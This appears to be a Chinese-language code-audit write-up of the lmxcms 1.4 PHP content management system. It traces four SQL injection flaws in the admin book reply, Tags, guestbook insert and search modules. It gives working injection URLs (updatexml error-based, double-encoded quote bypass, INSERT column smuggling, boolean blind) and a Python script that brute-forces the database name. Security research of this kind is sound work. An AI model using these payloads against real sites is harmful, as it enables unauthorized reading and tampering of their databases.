当前位置:网站首页>lmxcms1.4
lmxcms1.4
2022-08-04 05:27:00 【Ki10Moc】
环境准备
PHP5.4.45
进来后先安装
该框架漏洞在cnvd
可以找到很多
代码审计
sql注入
后台
基本流程:getReply->parent::selectModel->parent::selectDB->sql
c/admin/BookAction.class.php下存在一处sql查询
这里跟进查询
到db.class.php
在封装的selectDB
方法下
在这里添加一句echo $sql;
注意闭合符号
url/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23
前台
TagsAction.class.php
基本流程:getNameData->parent::oneModel->parent::oneDB->sql
接着是
这里封装的p函数
可以看到之类有sql的过滤
同理,在oneDB下加上echo $sql;
这里可以用单引号来闭合,但是会转义
注意到源码
那就来二次编码
可以看到执行成功
SELECT * FROM lmx_tags WHERE name = 'a' or updatexml(0,concat(0x7e,version()),1)#' limit 1sql语句有误XPATH syntax error: '~5.7.26'
BookAction.class.php
checkData函数
基本流程:checkData->index::add->parent::addModel->parent::adddDB
老样子,打上输出语句
将需要的参数都添加上
这里是个insert语句
setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,2,3,4,5,6,1);#=1
这里看下数据库
我们的数据已经插入
还应该注意一个参数
ischeck=1,可回显,也就是可见
ischeck=0,就是不可见
SerchAction.class.php
基本流程:searchModel->searchCoutn::parent::countModel::parent::countDB->sql
?m=search&keywords=a&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23
说明第一个字母是l
可以修改下源码的编码方式继续注入
也可以通过Lxxx师傅的脚本
import requests
url = "http://localhost?m=search&keywords=b&mid=1&tuijian=id or (if(ascii(substr(database(),{},1))={},1,0)); %23"
ans = ""
for i in range(1, 7):
for j in range(97, 97+26):
surl = url.format(i, hex(j))
res = requests.get(surl)
if len(res.text) > 6000:
ans += chr(j)
print(ans)
一篇很久之前的文章,如有错误欢迎指出
边栏推荐
- 关于C#的反射,你真的运用自如嘛?
- 【问题解决】同一机器上Flask部署TensorRT报错记录
- MySQL日志篇,MySQL日志之binlog日志,binlog日志详解
- Linux环境下redis的下载、安装和启动(建议收藏)
- 编程Go:return、break、continue
- 8.03 Day34---BaseMapper查询语句用法
- Unity动画生成工具
- iptables防火墙
- The cost of automated testing is high and the effect is poor, so what is the significance of automated testing?
- 4.2 声明式事务概念
猜你喜欢
FLV格式详解
CentOS7 —— yum安装mysql
ORACLE LINUX 6.5 安装重启后Kernel panic - not syncing : Fatal exception
JS原型链
Embedded system driver primary [3] - _IO model in character device driver foundation
Delphi-C端有趣的菜单操作界面设计
嵌入式系统驱动初级【4】——字符设备驱动基础下_并发控制
MySQL log articles, binlog log of MySQL log, detailed explanation of binlog log
音视频相关基础知识与FFmpeg介绍
Programming hodgepodge (3)
随机推荐
Programming hodgepodge (3)
4.3 基于注解的声明式事务和基于XML的声明式事务
Unity开发类似Profile那样的数据分析工具
字符串常用方法
MySQL log articles, binlog log of MySQL log, detailed explanation of binlog log
嵌入式系统驱动初级【4】——字符设备驱动基础下_并发控制
webrtc中的视频编码(一) 视频编码模块轮廓
C language -- operator details
8.03 Day34---BaseMapper query statement usage
LCP 17. 速算机器人
显式调用类的构造函数(而不是用赋值构造),实现一个new操作
Several ways to heavy
C1认证之web基础知识及习题——我的学习笔记
强制结束进程
OpenCV获取和设置图像的平均亮度
Swoole学习(一)
scrapy 爬取当当图书名字图片
The string class introduction
解决安装nbextensions后使用Jupyter Notebook时出现template_paths相关错误的问题
canal实现mysql数据同步